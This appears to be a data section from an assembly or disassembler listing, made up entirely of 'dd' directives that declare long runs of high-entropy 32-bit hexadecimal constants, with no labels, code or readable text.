		dd 6C412D18h, 0BE51045Ah, 6B5E4975h, 0F273A320h, 56028A92h
		dd 587AC043h, 0E906812Dh, 0DE23AA76h, 1F2E4A78h, 0A848559Bh
		dd 25AEBC4Fh, 0DB5FFCB4h, 0B9D7A89Ah, 0AE88564Eh, 2C26D067h
		dd 2F0FB424h, 0A96E0F5Fh, 9703D81Fh, 9FFEF416h,	4FB0489Fh
		dd 1327711Dh
		dd 884DDDF7h, 0BDA25E92h, 0D990D2D2h, 5E89F540h, 84FD12EFh
		dd 42DC8FACh, 0CBE9093Ah, 0EEDE1097h, 873A5ED0h, 8A61D2EEh
		dd 0D12D5972h, 2836F6EBh, 53FC0024h, 0B8506FDAh, 0D92D639Eh
		dd 0C78EF071h, 1B195E98h, 593C7182h, 6885D7FBh,	8EAF39C8h
		dd 1F044ABBh, 0CEEBA7C0h, 1D2F48F1h, 18CF02C3h,	57AE530Fh
		dd 100BE75Fh, 0B2098DDDh, 387759E6h, 600AE9A2h,	480520AFh
		dd 0AD7A66EAh, 0B076F49h, 77A7C280h, 0FD304C82h, 394338C1h
		dd 44D4184Ch, 225EE73h,	68389EF0h, 56C627D3h, 0F13C8B27h
		dd 315E50B1h, 0B482F84Eh, 84B492C9h, 0AE1674E6h, 0E00DDC00h
		dd 0C964CF73h, 0BFD4B4A2h, 2D3E2C6Fh, 0ACFE9501h, 7E8A615Ah
		dd 64B18C3Eh, 0F17F20BDh, 76FE21E8h, 17CCF822h,	0E08292D2h
		dd 0E2B5316Eh, 3167DD89h, 41FED62Fh, 7EF4DAE9h,	2D594088h
		dd 0EE46C330h, 54EF1A1h, 3D899508h, 0B925CBBEh,	0BD2C7E40h
		dd 0F00EBFDh, 0A243A8BFh, 0E78130h, 410B1603h, 1197880Fh
		dd 0CEE1D5C4h, 81DEF704h, 89C85DD1h, 59865F63h,	6562AD5Fh
		dd 7AC630D7h, 69BC0117h, 7176E005h, 0AEB06E3Bh,	5A040735h
		dd 94E92D8Eh, 6270C847h, 613D4612h, 6C457C1Ch, 931A75D8h
		dd 1C080D1Ch, 8CE91400h, 0C93FC068h, 781F4DB7h,	0E7FEC1ECh
		dd 0E9C5840Ah, 984E522h, 37EC1C6Fh, 3D204ED4h, 2893B704h
		dd 26C15BFDh, 88005CA3h, 5AF458E5h, 0BC53523Bh,	7CDEBCEBh
		dd 5829F74Ah, 55ED6B21h, 0B9513107h, 43CAF801h,	7040090h
		dd 8939105Fh, 0B33A43BBh, 0C0FCD16Eh, 22718057h, 0D580784Eh
		dd 67F7CD87h, 608108D9h, 2A323044h, 0C5054577h,	0B333CAE2h
		dd 0C19383BEh, 6114C79Ch, 6F627056h, 0E42BF1B5h, 93D61908h
		dd 9DD47E21h, 2ED18A3Ah, 0BD81E746h, 1B324D8Ch,	428C5EACh
		dd 66035A2Bh, 0E3C39542h, 5AC1B504h, 1A81B220h,	8D1BBBBAh
		dd 0C8EF7146h, 3C905AA0h, 0D6D1822Fh, 2F556926h, 0A04FA951h
		dd 0A0B252D8h, 29EA0180h, 0F65AD488h, 43E4E1DCh, 0AF1C90C5h
		dd 0DD9EEB31h, 48D43949h, 90C23B2Eh, 0AC0E4A4Ah, 0D0BA5F2h
		dd 75A8B20Bh, 0A39E2184h, 592510FCh, 2D685B04h,	0C631BB57h
		dd 216B4ED6h, 966EDDDFh, 50BBEE65h, 0C400F265h,	0E9654F3Fh
		dd 0ADC14B52h, 48CE68D8h, 65C46B78h, 8921ABF8h,	9406E3DFh
		dd 0C4CFC520h, 26440F0h, 5E281D68h, 7D886205h, 0AED5D693h
		dd 0E16F50D9h, 0AFDFF556h, 92D86BCFh, 82D5D943h, 719289Dh
		dd 0D707EAFEh, 0D6E1F8E6h, 163F6EE9h, 97C0AD36h, 76858AB8h
		dd 0BF9FD43Bh, 5E546C31h, 0F212B688h, 0C6CF5B1Fh, 0C8973C02h
		dd 2D0D9220h, 25337B32h, 2955C41Eh, 8C58039Ah, 94F1184Ch
		dd 3FF3E14Fh, 0F9F727C7h, 575CAA82h, 0F483C519h, 0E495369Eh
		dd 0CEF9DA8h, 762D689Ch, 0D786C2F8h, 0C14AFE5Eh, 315C003Dh
		dd 1090053Dh, 29730A06h, 20072DD0h, 7196351Dh, 1B3128Fh
		dd 0E64EB246h, 504DF97Bh, 106BB8E5h, 77146926h,	5FD8F789h
		dd 2F03FE65h, 0F05BEB67h, 2DB983C6h, 810CE13Eh,	683C0738h
		dd 5A925FCCh, 0EF5A056Bh, 2869DA41h, 23F830BCh,	0E2449F0Dh
		dd 7768D509h, 6F1CFC5Ch, 8B10A520h, 0D1245E6Fh,	98089BEEh
		dd 68D625B8h, 1DAC9316h, 0D668AD4Bh, 0AEC57F00h, 4C72E414h
		dd 0ED284929h, 92B9108h, 0A0C844B9h, 0D809BD55h, 8B1C2304h
		dd 0C0465423h, 0DC7A10F1h, 64272B90h, 2E804C5Ch, 0DBA02E2Dh
		dd 36F3EFB2h, 0F394F589h, 0A7816869h, 3A137F60h, 0C8EC7F82h
		dd 0E8414198h, 3073C96Ah, 58819EB6h, 72ABED9h, 0D75E967Dh
		dd 0D80EFD7Ch, 4B1D589h, 40EB0962h, 8095AEC7h, 0F09C10Dh
		dd 2F4874D0h, 8B74DF08h, 4011E9A0h, 0E22880B4h,	4020C7B5h
		dd 5B5198B0h, 0BD4242EFh, 45F2549h, 0D9933F4Eh,	6472DF34h
		dd 80DDA46h, 742131F8h,	74DEE409h, 7C22511Ch, 8B52027Eh
		dd 7D2D5AFDh, 0C829F5E8h, 5AA6DECBh, 972903Dh, 1DB11A87h
		dd 0E682FD76h, 8668469Ah, 977B309Eh, 56EEBFD9h,	9F3B42A1h
		dd 0C0924E5Fh, 0E43058C4h, 5D1C4877h, 0E9D0425Eh, 5556AA33h
		dd 0C9BF5365h, 10F82B5Ch, 6CFFD3F2h, 2FF4FABh, 6DC6B9F6h
		dd 3BBAC3E0h, 20439A13h, 0D468D03h, 0CA29D938h,	0DD08D6A0h
		dd 66C6C7FAh, 0A1F3EFB5h, 5808000Dh, 1C265709h,	3813C45Ah
		dd 41844EF2h, 0DCFB1266h, 339D58BFh, 0DB06FA82h, 0F898BDD6h
		dd 0F029FFABh, 4F53B095h, 899299D6h, 0B28AB753h, 0D90B0814h
		dd 1F265825h, 647C0FF3h, 0ED101F3h, 7B051BD5h, 0BCD4F1E5h
		dd 10042D42h, 7024062h,	0B1CBF9E9h, 629DB0E6h, 0B7B9B47Eh
		dd 545CDB49h, 0F78FBF83h, 84AFE938h, 0D5F8552h,	5E25EDE3h
		dd 0C5EBAAD6h, 0FE292D13h, 1EB2205Dh, 196A293Ah, 4AFA3CE9h
		dd 18BBC75Fh, 0F1AD895Ah, 0EA0328D2h, 8EF2D45Eh, 89CC4D78h
		dd 0B155BD4Eh, 0E52480E9h, 58C60629h, 0C077015Dh, 69956813h
		dd 57526632h, 31400220h, 98A2911h, 393F7607h, 4B54F8AFh
		dd 3FAB6861h, 0C9058604h, 26C7BB04h, 82B829D7h,	4DF24873h
		dd 5BE90B40h, 0AC6F168Eh, 9CBEE4A2h, 0AF25E989h, 0C7DB5252h
		dd 14A23504h, 0EBAB8031h, 674C6288h, 0E9C3040Eh, 5F0BFBA9h
		dd 7E490C59h, 744D20Ah,	76A4942Eh, 58E44344h, 57270E7h
		dd 8A0F6563h, 0E973B07Bh, 5DCA0825h, 18950194h,	5F4068B6h
		dd 2650312Ah, 0C7AF059Dh, 0B181846Eh, 0A2D17F9Bh, 0F4730852h
		dd 6803573Ch, 741C14D3h, 9FE2E020h, 0A046D910h,	222944BFh
		dd 0D22F9D5Fh, 0EF907185h, 4460E0EBh, 0FE30EE86h, 0D46808C5h
		dd 0C5199525h, 5E05E893h, 0B66205B4h, 96BF00F9h, 716D528h
		dd 60ECFE01h, 807E90E1h, 0F06E5AFh, 0A05F3F89h,	1F3D514Bh
		dd 3B520C5Bh, 20BF0BFCh, 7782C8BDh, 56714D49h, 0D982A689h
		dd 4865C962h, 392DBB00h, 25BA35F8h, 18806D48h, 8DD4E9DAh
		dd 57502F96h, 881E83CEh, 0E4C53E2h, 6C729EFh, 4CD65867h
		dd 0D0050E4Fh, 319773C4h, 8C65FEC1h, 64DBCA2Ah,	8BBE5AF8h
		dd 0F0562800h, 8F21AA58h, 0C354042Ch, 0A91B2390h, 0E19C5F3Ch
		dd 595D4060h, 935ED9A6h, 676170ECh, 6E9120E9h, 56DF29B2h
		dd 0EA7AC501h, 4B4678D8h, 819BBDF5h, 19394025h,	38999F60h
		dd 15F0B0Fh, 689AE12Eh,	6960E686h, 3B17CB23h, 23B929A0h
		dd 4A62592Fh, 0B27477Fh, 6644D3F7h, 39168912h, 7A287204h
		dd 0B6BB5300h, 6C4C1340h, 0C7432919h, 0A2B49049h, 0D89786B6h
		dd 18E30C3Fh, 6FC25433h, 0FAC401F2h, 5DEF5DE9h,	0A86B9214h
		dd 721E92D1h, 1B194E2h,	0F3D71B9h, 15F47F36h, 8ED3B58h
		dd 0AE8B12FAh, 2D7CBD3Fh, 0F05FC4AAh, 53FE5986h, 0F5D4F85Ah
		dd 98B522B2h, 0E91252F9h, 8620E240h, 60A565D5h,	91B6DC6Fh
		dd 0C2976C6Eh, 0E9BD4019h, 829C4D61h, 3D43DA26h, 0D3809B20h
		dd 0A82F7D96h, 6747C08h, 5952C8E9h, 2A22C705h, 0E592FB57h
		dd 94C6C155h, 72208C6Fh, 7E273AE3h, 0EDE2E535h,	8EB0B98Bh
		dd 7112701Ch, 0B784015Fh, 3BCB0813h, 0B023067h,	6662B3D3h
		dd 20E55AD3h, 1BA03491h, 0DA833606h, 5A666968h,	14BDE3Fh
		dd 0E9A5F35Ch, 0F63BA0EFh, 0F28C13BFh, 0DD106991h, 1F04BA05h
		dd 0F2C0DFF7h, 256266E4h, 8EFD4F3Ah, 0A9EA8957h, 8B706ADh
		dd 0D2870476h, 800984D8h, 68D1F789h, 983B422Dh,	2D7BA162h
		dd 7C436F12h, 97DFCADAh, 57530261h, 79DEE4E9h, 600ECE81h
		dd 7A82785Fh, 58009C4h,	3BE90660h, 51B5A2B2h, 6C13A8F6h
		dd 45683D89h, 23B83Bh
		dd 381DD2F2h, 24820F58h, 0C225FEDBh, 0B71ECC44h, 22CFB60h
		dd 508E1561h, 0FE653Eh,	3C8554F9h, 665F0CC1h, 35305A9Bh
		dd 0D55DC0A4h, 309ABF57h, 86090524h, 6103E502h,	62EE61DDh
		dd 191373BBh, 9279CC6Bh, 2D7FB141h, 489A41F9h, 0C8EB0559h
		dd 325B81ADh, 0BDD3F5A3h, 10FE9018h, 0EF4A6FA8h, 3356FD31h
		dd 765BE00h, 0FC227237h, 0E358FDE1h, 4858046Ah,	3239BBF4h
		dd 82DCEA20h, 20963140h, 8114DE1Fh, 0CF748202h,	0A6B0757Eh
		dd 5C2D9D53h, 609109C4h, 0FB850D5h, 71F23E82h, 0CDA72264h
		dd 969B2040h, 487E5D76h, 0E69B7C2Fh, 2D7DFBAFh,	0CB23B25Fh
		dd 0ADEEF1FDh, 687A64F1h, 978B8A3h, 0ECE9410Ch,	5C9DF7D8h
		dd 70BCBF2h, 0BB04C478h, 4CEB35A4h, 16A02483h, 16F3290Dh
		dd 4A48E81Ch, 8030862Dh, 93A983E2h, 940AAF32h, 0B85520A4h
		dd 1D9EF29Fh, 5DD32862h, 515A40EBh, 0C9FEC0B1h,	8E70C1FCh
		dd 0C382A9A3h, 62BF6F61h, 81C18F32h, 24CA680Bh,	0DD8C337Fh
		dd 0A74EE8ABh, 40FD90E0h, 29255ECEh, 9DFFE6F2h,	0C1B3AFC8h
		dd 245FBE80h, 9D1D2662h, 3053CB84h, 0F9452B04h,	0E6F60209h
		dd 0E11C6A70h, 72FA6E85h, 1F18163h, 7FFB7741h, 45078104h
		dd 22550356h, 5801780Eh, 805BFE88h, 5FF11FEEh, 48705D68h
		dd 6516C4F0h, 829F34DEh, 5606FB0Ch, 0DB462746h,	0E5145425h
		dd 0C21A888Dh, 800F029Ch, 16FF8977h, 29E91227h,	0C3394935h
		dd 0B563E202h, 1340BE03h, 0B8F121C5h, 8550C99Dh, 9DEFF6A7h
		dd 93CE6D3Bh, 28C0DFE2h, 0C16F9F30h, 306E22Eh, 0E716823Dh
		dd 0D079E94Dh, 0D2ACBC76h, 6A93D874h, 850976C4h, 0B0D15131h
		dd 1101BF28h, 0F8F0E872h, 34404CB8h, 52159058h,	0F910A307h
		dd 443350C8h, 957A06CAh, 4F0808h, 0E93DB753h, 10C2393Eh
		dd 0F756C7C6h, 6BA7FEB3h, 74E49A7Dh, 221F0531h,	1614A92Ch
		dd 785259E9h, 99AD33C6h, 82F74BC5h, 0D0E068ADh,	0BD5397A6h
		dd 3B860580h, 7401452Dh, 6007A2D8h, 82A96EADh, 15F91CD7h
		dd 0F19DEEE9h, 0A95EF517h, 15EDCBDCh, 0E9AFB0E9h, 0EA9230A9h
		dd 418703B5h, 0C123D278h, 0C6002BEh, 9E0B12A5h,	0AD02EF1Fh
		dd 0F16430E9h, 3DC28BCAh, 0CA816280h, 0E5043F36h, 0C0860F37h
		dd 8BFA5095h, 8C5A1740h, 0F610D6E3h, 30AC07D1h,	0C79253D8h
		dd 0EBDFFC50h, 0E94257F9h, 2C02D888h, 3264E46h,	45E310ACh
		dd 0EEFC71EAh, 0C10FEEA1h, 0C831E4E8h, 0DA6C7881h, 3246BD00h
		dd 97B3BEEh, 26225D4Fh,	1DC3DC66h, 0F2585302h, 2D683AF5h
		dd 0F5C64B72h, 0AF6112BBh, 76803E81h, 0F9AA9704h, 4835CE51h
		dd 3275E0ACh, 5C603B59h, 0C448A2Fh, 4DDA07A0h, 0BAB87742h
		dd 6BBC2FCDh, 0D207B061h, 0EE9E957Eh, 7C8E9DC2h, 745E2DA6h
		dd 6B4540C9h, 0FF66B5CCh, 674B02F2h, 4F85A8A4h,	29BE6D58h
		dd 0AA2D00A5h, 0D1200523h, 60E925E0h, 7DACE08Eh, 1955DA1h
		dd 0A2A587BEh, 0E9DDE43Fh, 6B305125h, 3FDDB90Ch, 8AC2718Ah
		dd 1713D2h, 1E773326h, 0F82FE94Ch, 3446666h, 57F6211Fh
		dd 2A00D8F7h, 3D384D56h, 93084A68h, 354801B8h, 7B4B7047h
		dd 0D3F72581h, 88EB20h,	13F574Dh, 7B50E9F3h, 0D9CF60DEh
		dd 4ECFCF53h, 25FFF280h, 2A89F451h, 5F404295h, 4EAF83Bh
		dd 0F752C7DCh, 964B13CCh, 8379D9F1h, 91838AD3h,	4AB102F3h
		dd 5F550B12h, 3D66217Bh, 0AD6639BBh, 39D83114h,	0B1B5E983h
		dd 81D0DB1Ch, 0D4A6E2Ch, 1AAFA109h, 0C340FF2Dh,	5102BA52h
		dd 0E940B678h, 754F8B4h, 0E6FBD2Dh, 0E035A530h,	0F2588739h
		dd 0A9086999h, 0B60C000Ah, 14660110h, 927DE6E9h, 0DD6856C1h
		dd 86E36B39h, 0EBA2E909h, 846F0AAh, 0A2BDC703h,	4899F602h
		dd 0B0D608A3h, 0CB9993BAh, 0CB81123Bh, 7A31C090h, 0BF7806BCh
		dd 0F02AA315h, 25617097h, 3D4A834Fh, 0C0C94C63h, 0E3599D44h
		dd 0ED94BBD7h, 39F504EFh, 0B7491F63h, 3B8447A6h, 0D9024E76h
		dd 0B3352B4Eh, 0D4FB2684h, 5B138871h, 0D3E988A8h, 0BA58FC60h
		dd 0B8EC52CCh, 0E16520EFh, 3AE58100h, 511D6814h, 46BC09B9h
		dd 0CD001F59h, 313C22BFh, 0AD64E917h, 896147D9h, 5CB2B868h
		dd 0EE139DF9h, 0E37F56E1h, 80558B70h, 2A1ABF4Dh, 0C65581Dh
		dd 8BAEF91Dh, 3D54893Eh, 25E52108h, 697302D4h, 70847F85h
		dd 5F092Dh, 4A54CBF9h, 4C15B04Bh, 2812D4CEh, 41EAFC29h
		dd 0EFBD2E08h, 4B6A1741h, 11FFC03Ah, 0A2F9FDE5h, 0C9F9BBF8h
		dd 78A2310Bh, 2CE553AFh, 3FCAAD26h, 0B70C66ADh,	0CC60583Ah
		dd 0F19183CEh, 5ABFEE48h, 0B05A53A4h, 79A32F60h, 0E7A2EDEEh
		dd 0E91732CCh, 45A92CEAh, 0E5B1B013h, 3538F584h, 80603FC1h
		dd 2D3047EBh, 0DEF2167Fh, 475A0881h, 0DA33D197h, 0D5CDF41Ah
		dd 0B7600C2Ch, 4967203Bh, 0F7C40929h, 515ACD0h,	0CCAE880Fh
		dd 96429CB4h, 0C2C64127h, 799930ADh, 0A6D5512h,	840C32F9h
		dd 0CEE74D38h, 0AF341913h, 0A6216641h, 302CDC24h, 6346974Eh
		dd 0FEB0B10Dh, 20B4C6E9h, 0B9C83B3Bh, 7242CE5Fh, 40476557h
		dd 8390B565h, 0CD54DC2Ch, 98C0270Bh, 1F23351Ch,	4B4D8769h
		dd 0CFF6DD36h, 18BB53C2h, 79BDACA0h, 0A5C549F2h, 6C33630h
		dd 0B96B1AAFh, 66F70BC7h, 68E92F79h, 0EB803102h, 740808D6h
		dd 0C9591F93h, 84205D05h, 0C580CDFEh, 0E828431Fh, 83E1F552h
		dd 1018F73Bh, 32758692h, 0AE0B3810h, 52388D5Eh,	8903AB01h
		dd 5507EA9Eh, 86A4EB8Bh, 0D92008B5h, 34C320BBh,	28B22331h
		dd 0A4018B6Dh, 0C2A0016Bh, 99F1188Ch, 0F440A708h, 6370407Fh
		dd 8285D6Fh, 0A9730C59h, 11626F10h, 7570A08h, 0A820DCDCh
		dd 6CD17941h, 656F1088h, 897640Ch, 18FD622Ah, 0B2031576h
		dd 80101866h, 0C4AC08E7h, 37FF18C6h, 0D7C53108h, 11BEF18h
		dd 1088B517h, 203F6A82h, 0C661318Fh, 1E92E08h, 208CB5F0h
		dd 0C408B666h, 76CD7041h, 88D03F01h, 898A428h, 15089A1Ah
		dd 1D6D088Eh, 0CD8FE08h, 0BA08D3E4h, 638E5740h,	0A8892018h
		dd 0CCE80818h, 80C50618h, 7C811042h, 86BEB188h,	0A7BA408h
		dd 90D442E1h, 7E751077h, 8674A18h, 28C6D26Ah, 330855A6h
		dd 0BD182253h, 39EF6131h, 71160FE3h, 0C0AA6F75h, 4928A026h
		dd 107F8731h, 88C6826h,	2D188612h, 636C9D40h, 0CABF10D9h
		dd 925B0819h, 18E77D18h, 185F1C08h, 8D6F7A3h, 0B508B718h
		dd 72D3805Ch, 0E44528C4h, 67C6404h, 20187A13h, 9F625AF3h
		dd 3760F09h, 0D1209459h, 6BFA32A6h, 90A3F918h, 10107D19h
		dd 0D010841Eh, 0BB451093h, 71722D19h, 0EE10880Dh, 71741CCDh
		dd 2675C08h, 682048AEh,	66089278h, 10142995h, 8170F33h
		dd 2E7131B9h, 8CC7DF39h, 20197B08h, 0EC4D5484h,	6E08C695h
		dd 0EE4920E1h, 14292490h, 8974388h, 440C2339h, 646010EDh
		dd 91C80858h, 88482694h, 0CAC4008h, 0B82065EFh,	33286849h
		dd 244D08F3h, 886CE2F1h, 0D9081AA0h, 77670875h,	0CE33108h
		dd 0E80869EDh, 653A8240h, 5F1B2038h, 0C06DD5FCh, 27089031h
		dd 9E208829h, 8F6C08F1h, 0F171C00Ch, 4710C49Fh,	0B3290443h
		dd 6A8FC04h, 200859DFh,	71207DABh, 2AC1203Ch, 24B4DA20h
		dd 991C6F16h, 983EB15Fh, 19E96208h, 349A8128h, 0FF40984Ch
		dd 18916FD8h, 0E108C15h, 354810F2h, 199CDC10h, 17187750h
		dd 25EFB451h, 1B68A01h,	600062D5h, 0E84CFC9Ch, 790396A4h
		dd 1E5316EFh, 39C78B36h, 10502E18h, 2C03473Bh, 13EB0275h
		dd 0B90E1B89h, 5D03DA7h
		dd 8F004401h, 0C90B4940h, 388BF775h, 9F42474h, 0B9F003DEh
		dd 0C033E748h, 0B11A0FF0h, 582C304Fh, 76E916B0h, 5CCE4B0h
		dd 72B0CBEEh, 0F77372B0h, 747D16C2h, 0EBDBC05Eh, 966A180Eh
		dd 0E0310C75h, 2F3CF637h, 61A4F7F1h, 504FB3C3h,	25A8900Eh
		dd 72C40184h, 94D22973h, 814E11A8h, 2BD05F18h, 7642E3D0h
		dd 43245C49h, 7160A325h, 679EEC1h, 81978B1Bh, 5CBCC82Bh
		dd 3A477C0Bh, 5140028Ah, 2757DB95h, 0AA53D3DEh,	30F8C702h
		dd 686E92Ah, 5E689EC2h,	806ED173h, 2DCD7C19h, 0F03CE281h
		dd 4A771453h, 0B7FE078Fh, 0EAD02F26h, 5F78605Bh, 576B511h
		dd 0A070FC08h, 31E9D729h, 0F6706047h, 3B45DDD4h, 3FF7590Ch
		dd 47201386h, 1A34E809h, 2C6AD0h, 0CBD15BBDh, 0FBD9F0F8h
		dd 9B3F34C9h, 0E95606DAh, 7779F90Fh, 99CC30C3h,	0DEED800Eh
		dd 0B77D52B7h, 3E239D98h, 496DF1BFh, 10779A89h,	0F4CD3127h
		dd 1453603Bh, 5E98890Fh, 94F159C0h, 0EC0CB252h,	0E90213E2h
		dd 58A2F034h, 7535EABDh, 0D4018A61h, 4837E9DEh,	0CA86E04Ch
		dd 6CD70CFEh, 690C1036h, 6F262C13h, 0C1FF9CA0h,	3E95703h
		dd 31369351h, 2D7D8CE6h, 0CFC6B7E5h, 48D5EA2Dh,	0C715A2AEh
		dd 0B02C5A0Ch, 0DAF6D086h, 50BE56F8h, 3EA56805h, 0BAD4CCEFh
		dd 1C476509h, 0DEE0DD7Eh, 5C27E95Ah, 0A8D43421h, 0C005082Ah
		dd 0DA18EF25h, 0F8970ABDh, 0AE5A97F1h, 3BE105A0h, 2A55EC82h
		dd 0A1DB187Dh, 196808ECh, 1F160474h, 0BE5E30CEh, 22E85FDDh
		dd 0E9660C67h, 523CC6BDh, 3547E8A0h, 80D0B481h,	0F6BF1FECh
		dd 515A09DCh, 5078B0F4h, 0FDEEF568h, 722579CFh,	37E93BF5h
		dd 0EAC26048h, 45D68515h, 0E968D318h, 0BCD25566h, 0A98E13D8h
		dd 33049C8h, 0F7EF6373h, 0A4A7F76h, 9F8838ABh, 897AFD41h
		dd 42342FA6h, 5EE68AAFh, 44FFAB34h, 16625CAFh, 0E75A8EBCh
		dd 34D7DF48h, 0E5DD0CE8h, 4E001E55h, 0FF899851h, 0D10042B4h
		dd 0B4CD81E5h, 0A034E212h, 3E67CEF5h, 0F301565Fh, 366A7A50h
		dd 0EC017A31h, 99D508EDh, 408E0F20h, 749D584Bh,	0D55649F9h
		dd 9C45649h, 93FC9882h,	796856E2h, 946B0C95h, 2C09E323h
		dd 0F469EB55h, 4EF63C94h, 582E2601h, 49B020E0h,	0D8539602h
		dd 0D1DF0170h, 0DABE841Eh, 0B2F0BB7Ah, 0C23B15FAh, 4800CB46h
		dd 0D570282Dh, 0C6253188h, 1F35DC58h, 0EF6530C0h, 4A3D1BCBh
		dd 8AC89842h, 982516h, 2D415E03h, 6E194F8Bh, 0DBCA02BDh
		dd 836EB3D6h, 133EBC5h,	0C628593Dh, 0ECD0EE80h,	0D79C3E25h
		dd 72F76C4Eh, 13093CCAh, 187D364Eh, 4A277005h, 0C2942921h
		dd 5D20810h, 1C515E11h,	0A2F0BD17h, 727600ADh, 0BCC5811Dh
		dd 0CE5A3665h, 29258BB8h, 0E10CBB51h, 164882ACh, 5D38810Fh
		dd 3505C47Ch, 129BB84Fh, 0AF4EA69Ah, 2DAA53DFh,	0C3BC8B05h
		dd 0D156F458h, 5A1E3B7Dh, 64FFC316h, 0E928F45Bh, 7E33B334h
		dd 0DDBFDF53h, 9D607E8Ch, 9951C668h, 0A461A41h,	7F1D1455h
		dd 8993255Dh, 0BA9351F9h, 0D0213A45h, 15BD2924h, 0B850F513h
		dd 34D39C89h, 0B83674FAh, 2B68091Ah, 6B6A7910h,	0E906D551h
		dd 95D64E96h, 0CE510656h, 0B82E133Ah, 0EEC71E7Fh, 77159D9Ah
		dd 0BD29F0C1h, 8AA706h,	1C6D2DADh, 20587AF7h, 0C119D5B0h
		dd 70604E7h, 0E8FC1420h, 0E3505A96h, 0FB31D2DBh, 540252CDh
		dd 1EA56075h, 48652764h, 0FA0960DEh, 7418DD73h,	6FED3668h
		dd 4CFA908Ch, 55CBBC69h, 7BA1B409h, 0DD32FBBEh,	45FC2E79h
		dd 0B14DFA97h, 77C1DF8h, 5CFA285Eh, 7EED429Dh, 85556B13h
		dd 0A61334E9h, 40CFCDABh, 2054D177h, 4493C4Ch, 0EEF8DCCEh
		dd 680AE5E8h, 815B30D0h, 802845BEh, 15807A22h, 48406510h
		dd 2A2DD26Ch, 0F9513ADEh, 0BF0677F4h, 2D8D4171h, 0D330884Fh
		dd 66C140C0h, 0B5A3534Bh, 40886950h, 0BEB04E12h, 0EF3B8501h
		dd 4E6C111h, 0ECFAD3FDh, 804C2CECh, 3337423Ch, 0D7E43500h
		dd 89501492h, 0A917FBC5h, 0B96F3518h, 0F3E9A002h, 0F0C5D3CFh
		dd 1509C4ECh, 0F6593836h, 0D74AC239h, 129BCC7Dh, 0A801273Fh
		dd 6BB96AAh, 1655F92Fh,	0FFF32825h, 3FD92F22h, 45F0DB46h
		dd 5F3D636Bh, 6F683598h, 3BEC644Ah, 0AB0C86C4h,	0CA3E3629h
		dd 7680953h, 0ECCFF14Fh, 481CBD2Eh, 5246D49h, 2FD33985h
		dd 45B583EFh, 7E5508Fh,	4760CFE9h, 5768669Ah, 6508C740h
		dd 0F2858D11h, 0C2021DE9h, 53459E54h, 3C683970h, 832A9172h
		dd 6A01BE66h, 2069BDA1h, 4EC34593h, 0F97C6EEDh,	1083D5F7h
		dd 57D8FDF5h, 0BD3ABFF1h, 34CF0C1Ah, 0F8D7242Ch, 9DEF7FD1h
		dd 6EE92481h, 61B29D36h, 7A44AA89h, 5EBF02B0h, 0D68960DCh
		dd 0FB1FC490h, 244F6CB7h, 6115567Eh, 7146B551h,	212DDB3h
		dd 0C18E6380h, 66AD2060h, 0A620C946h, 4BB80E3Ch, 25E16D14h
		dd 0CFE51675h, 8AF89BF9h, 0E35CB629h, 0A3E5D55Ah, 17560733h
		dd 0BF2A7580h, 3E559428h, 0E98C8E43h, 0C7A14844h, 0FC88ED02h
		dd 40CC305Bh, 0D654C1B7h, 454600ACh, 0F042217h,	0BB968618h
		dd 5B026E93h, 42952D01h, 0C00F6AB9h, 0CE5B53C9h, 0B9FB01Fh
		dd 64BE32B9h, 0DAEBFC68h, 4B946903h, 252349E9h,	0A40B595Bh
		dd 0ADE690DFh, 7C6082F8h, 0EC2CEE67h, 5B13AFA6h, 5A60E7F0h
		dd 0C4E0B865h, 658C456Fh, 8B44C850h, 3CCE7749h,	0D03F0926h
		dd 4D147FA5h, 4B339EB5h, 0A6AB664h, 2C65B368h, 38AE16BCh
		dd 0A51221B3h, 8B3FF81Ah, 0F6167551h, 70BEDA38h, 0C06F1ABDh
		dd 814DBA7Ah, 0EF063147h, 4A280C27h, 0CC31847Bh, 0B37E9ECDh
		dd 0F80E13E0h, 0D7DE6BE9h, 43374057h, 318EB951h, 21454F05h
		dd 20BA59CBh, 0DDB67FBAh, 5F29FF16h, 0A5EAAB24h, 0FAD005FCh
		dd 53184ADEh, 5AFA6050h, 890FF226h, 0F93ECA00h,	90EEC177h
		dd 33F60103h, 0E96BF33Ah, 5F6C3835h, 295D084Bh,	0FF6E7DFDh
		dd 681C7C25h, 16380F70h, 0B80132F4h, 5B084003h,	979F2B7h
		dd 3BA4089Dh, 0E9AC1855h, 0E80F4B02h, 823EA16Dh, 2F775D2Dh
		dd 0E7D6EDC6h, 827BFF50h, 65FDD2C2h, 22B748CDh,	47BB07D9h
		dd 0E031356Fh, 53D2F7D3h, 928524Fh, 0ADBFC5Ah, 184850Fh
		dd 0CB4B1D89h, 0DAF0B81h, 229D0CBFh, 0E54E8A1Ah, 614B56FCh
		dd 9D2D767Ah, 8DC4D0C9h, 0D4B60124h, 40A4307Bh,	14F0BE24h
		dd 1919803Dh, 0E2F32865h, 48D70CC0h, 0C35EA070h, 7FE74106h
		dd 426B43A0h, 7135870Fh, 38673FAh, 8B490464h, 0F96EB0EBh
		dd 162E8619h, 0B45E4B20h, 3E2229B2h, 96BF3088h,	3608F179h
		dd 646A9126h, 5D49EC09h, 10FC579Ch, 0A6AC9540h,	299E287Eh
		dd 5AB87026h, 621F810h,	21F63D9Fh, 2A721019h, 32EA0435h
		dd 88AA14ECh, 440EDC42h, 29E9378Eh, 0F0B67F43h,	0B54A4C6h
		dd 13E09825h, 0AA7F7C14h, 0D00C42C2h, 3456CF24h, 5F5671C2h
		dd 0A2E5C985h, 4EAA5669h, 12107298h, 0BC98DCA0h, 0DE29010Ah
		dd 55D6F75Bh, 8016A670h, 5130DBBh, 0AB1C206Eh, 7CD25943h
		dd 0E3808C43h, 3F31962Fh, 0E7A7E99Dh, 51E56D5Ch, 8BEA78C1h
		dd 0D4093003h, 5D7FC868h, 3BE70519h, 0E908388Bh, 5A06744Fh
		dd 1F7EC329h, 3F0A4DABh, 0FA1E9418h, 1F167ABEh,	0B48A5E90h
		dd 709BB804h, 136CC1D1h, 0C5212CE4h, 425E86EBh,	4EC63A0Bh
		dd 5D05F6F9h, 0C3138D1Bh, 95ECA02h, 769D9CE9h, 4C19CC09h
		dd 0CC5903E3h, 0E70252B5h, 77BCCA29h, 9C355796h, 0D0EFF193h
		dd 867105B8h, 2BB56450h, 32F66713h, 10F80605h, 8A011FC4h
		dd 8567B5Eh, 0F3D1F42Ah
		dd 48347600h, 52730568h, 0C4174EE3h, 0E90703F7h, 0EF00C9C2h
		dd 94CB51F5h, 0FAEA89F8h, 5C85CFBEh, 1044F7C0h,	9AF86FDEh
		dd 0F0B82854h, 7A59241Eh, 14442F8Dh, 8DCF8F1h, 4C3A92BCh
